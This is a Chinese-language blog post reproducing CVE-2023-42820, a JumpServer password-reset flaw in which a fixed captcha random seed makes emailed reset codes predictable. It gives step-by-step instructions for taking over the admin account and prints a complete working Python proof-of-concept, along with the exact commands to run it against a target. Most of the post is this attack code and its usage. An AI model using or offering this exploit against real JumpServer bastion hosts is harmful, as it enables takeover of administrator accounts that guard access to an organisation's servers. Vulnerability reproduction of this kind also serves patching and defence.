【漏洞复现】JumpServer伪随机密码重置漏洞[CVE-2023-42820]

  Jumperver是飞致云公司(https://www.jumpserver.org)旗下开源的堡垒机,是国内最受欢迎的开源堡垒机之一。小编也经常使用,也介绍给一些运维的客户使用,简直是运维神器。

  2023年9月爆出CVE-2023-42820造成任意用户密码重置漏洞。大概就是Jumpserver的一个第三方库django-simple-captcha中使用random函数的生成伪随机数,random函数通过一个初始化的随机种子来进行生成随机数,但是使用的初始化种子的值不变的话,那么后续生成的随机数的值和顺便也不会变,导致验证码随机字符串code可以被推测出来。

影响范围:版本v2.24 - v3.6.4

  靶场搭建:各位同学可以自行搭建vulnhub的靶场,下载网址 https://github.com/vulhub/vulhub/tree/master/jumpserver/CVE-2023-42820

,具体的搭建可以网上搜一下教程。由于我经常使用该堡垒机,因此可以直接使用之前搭建好的真实环境进行复现。

1.打开JumpServer登录页面,点击【忘记密码】

2.右键验证码图标,选择【在新标签页中打开图片】

http://192.168.1.254:60080/core/auth/captcha/image/edab219645a70ca33cb84893878d6fa1e4f33e64/

3.刷新验证码,用户名admin提交 跳转下一页面

4.admin的默认邮箱是admin@mycomany.com,记下URL上的token值

http://192.168.1.254:60080/core/auth/password/forgot/?token=Le0Idid3ohyscV8Ui8pG9eIdiVCwts31wCgT

5.使用大佬写好的poc去推算发给邮箱的验证码。大佬的poc代码如下:

点击查看代码
import requests\
import logging\
import sys\
import random\
import string\
import argparse\
from urllib.parse import urljoin

logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')\
string\_punctuation = '!#$%&()\*+,-.:;<=>?@\[]^\_\~'

def random\_string(length: int, lower=True, upper=True, digit=True, special\_char=False):\
args\_names = \['lower', 'upper', 'digit', 'special\_char']\
args\_values = \[lower, upper, digit, special\_char]\
args\_string = \[string.ascii\_lowercase, string.ascii\_uppercase, string.digits, string\_punctuation]\
args\_string\_map = dict(zip(args\_names, args\_string))\
kwargs = dict(zip(args\_names, args\_values))\
kwargs\_keys = list(kwargs.keys())\
kwargs\_values = list(kwargs.values())\
args\_true\_count = len(\[i for i in kwargs\_values if i])\
assert any(kwargs\_values), f'Parameters {kwargs\_keys} must have at least one \`True\`'\
assert length >= args\_true\_count, f'Expected length >= {args\_true\_count}, bug got {length}'

can\_startswith\_special\_char = args\_true\_count == 1 and special\_char

chars = ''.join(\[args\_string\_map\[k] for k, v in kwargs.items() if v])

while True:\
password = list(random.choice(chars) for i in range(length))\
for k, v in kwargs.items():\
if v and not (set(password) & set(args\_string\_map\[k])):\
\# 没有包含指定的字符, retry\
break\
else:\
if not can\_startswith\_special\_char and password\[0] in args\_string\_map\['special\_char']:\
\# 首位不能为特殊字符, retry\
continue\
else:\
\# 满足要求终止 while 循环\
break

password = ''.join(password)\
return password

def nop\_random(seed: str):\
random.seed(seed)\
for i in range(4):\
random.randrange(-35, 35)

for p in range(int(180 \* 38 \* 0.1)):\
random.randint(0, 180)\
random.randint(0, 38)

def fix\_seed(target: str, seed: str):\
def \_request(i: int, u: str):\
logging.info('send %d request to %s', i, u)\
response = requests.get(u, timeout=5)\
assert response.status\_code == 200\
assert response.headers\['Content-Type'] == 'image/png'

url = urljoin(target, '/core/auth/captcha/image/' + seed + '/')\
for idx in range(30):\
\_request(idx, url)

def send\_code(target: str, email: str, reset\_token: str):\
url = urljoin(target, "/api/v1/authentication/password/reset-code/?token=" + reset\_token)\
response = requests.post(url, json={\
'email': email,\
'sms': '',\
'form\_type': 'email',\
}, allow\_redirects=False)\
assert response.status\_code == 200\
logging.info("send code headers: %r response: %r", response.headers, response.text)

def main(target: str, email: str, seed: str, token: str):\
fix\_seed(target, seed)\
nop\_random(seed)\
send\_code(target, email, token)\
code = random\_string(6, lower=False, upper=False)\
logging.info("your code is %s", code)

if \_\_name\_\_ == "\_\_main\_\_":\
parser = argparse.ArgumentParser(description='Process some integers.')\
parser.add\_argument('-t', '--target', type=str, required=True, help='target url')\
parser.add\_argument('--email', type=str, required=True, help='account email')\
parser.add\_argument('--seed', type=str, required=True, help='seed from captcha url')\
parser.add\_argument('--token', type=str, required=True, help='account reset token')

args = parser.parse\_args()\
main(args.target, args.email, args.seed, args.token)

自己搞成.py哈

然后使用格式

python poc.py -t http://ip:port --email admin@mycomany.com --seed [第一张验证码图片的值] --token [后面token的值]

像这样:python poc.py -t http://192.168.1.254:60080 --email admin@mycomany.com --seed edab219645a70ca33cb84893878d6fa1e4f33e64 --token Le0Idid3ohyscV8Ui8pG9eIdiVCwts31wCgT

5.执行POC,推算code

6.然后再输入推算出来的验证码,提交。哎!!!这不是就可以了嘛

7.成功登陆

posted @ 2023-11-16 20:33  gloves7  阅读(3334)  评论(1)    收藏  举报